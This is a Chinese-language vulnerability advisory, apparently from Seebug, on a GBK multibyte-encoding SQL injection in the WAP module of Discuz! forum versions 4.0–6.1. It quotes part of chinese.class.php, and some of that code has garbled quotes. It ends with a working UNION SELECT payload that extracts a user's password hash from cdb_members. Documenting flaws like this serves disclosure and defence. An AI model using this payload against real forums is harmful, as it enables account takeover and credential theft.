Discuz!论坛wap功能模块编码的注射漏洞

2008-08-04T00:00:00
ID SSV:3778
Type seebug
Reporter Root
Modified 2008-08-04T00:00:00

Description

Discuz!论坛系统是一个采用 PHP 和 MySQL 等其他多种数据库构建的高效论坛解决方案。Discuz! 在代码质量,运行效率,负载能力,安全等级,功能可操控性和权限严密性等方面都在广大用户中有良好的口碑

由于 PHP 对 多字节字符集的支持存在问题,在各种编码相互转换过程中,有可能引发程序溢出和程序错误

提交一个 ' 转意成 \' 然后转成gbk的,\和'就变成两个字符了 '就可以成功的引入

Discuz!4.0.0 Discuz!4.1.0 Discuz!5.0.0 Discuz!5.5.0 Discuz!6.0.0 Discuz!6.1.0 <a href=http://www.discuz.net/thread-1008182-1-1.html target=_blank>http://www.discuz.net/thread-1008182-1-1.html</a>

                                        
                                            
                                                if(defined('IN_DISCUZ')) {
exit('Access Denied');
}

define('CODETABLE_DIR', DISCUZ_ROOT.'./include/tables/');

class Chinese {

var $table = '';
var $iconv_enabled = false;
var $unicode_table = array();
var $config = array
(
'SourceLang' =&gt; '',
'TargetLang' =&gt; '',
'GBtoUnicode_table' =&gt; 'gb-unicode.table',
'BIG5toUnicode_table' =&gt; 'big5-unicode.table',
);

function Chinese($SourceLang, $TargetLang, $ForceTable = FALSE) {
$this-&gt;config['SourceLang'] = $this-&gt;_lang($SourceLang);
$this-&gt;config['TargetLang'] = $this-&gt;_lang($TargetLang);

if(!function_exists(’iconv’) &amp;&amp; $this-&gt;config['TargetLang'] != ‘BIG5′ &amp;&amp; !$ForceTable) {
$this-&gt;iconv_enabled = true;
} else {
$this-&gt;iconv_enabled = false;
$this-&gt;OpenTable();
}
}

function _lang($LangCode) {
$LangCode = strtoupper($LangCode);

if(substr($LangCode, 0, 2) == ‘GB’) {
return ‘GBK’;
} elseif(substr($LangCode, 0, 3) == ‘BIG’) {
return ‘BIG5′;
} elseif(substr($LangCode, 0, 3) == ‘UTF’) {
return ‘UTF-8′;
} elseif(substr($LangCode, 0, 3) == ‘UNI’) {
return ‘UNICODE’;
}
}

function _hex2bin($hexdata) {
for($i=0; $i &lt; strlen($hexdata); $i += 2) {
$bindata .= chr(hexdec(substr($hexdata, $i, 2)));
}
return $bindata;
}

-----
chinese.class.php (utf-8不能利用)
searchid=22%cf'UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=1/*&amp;do=submit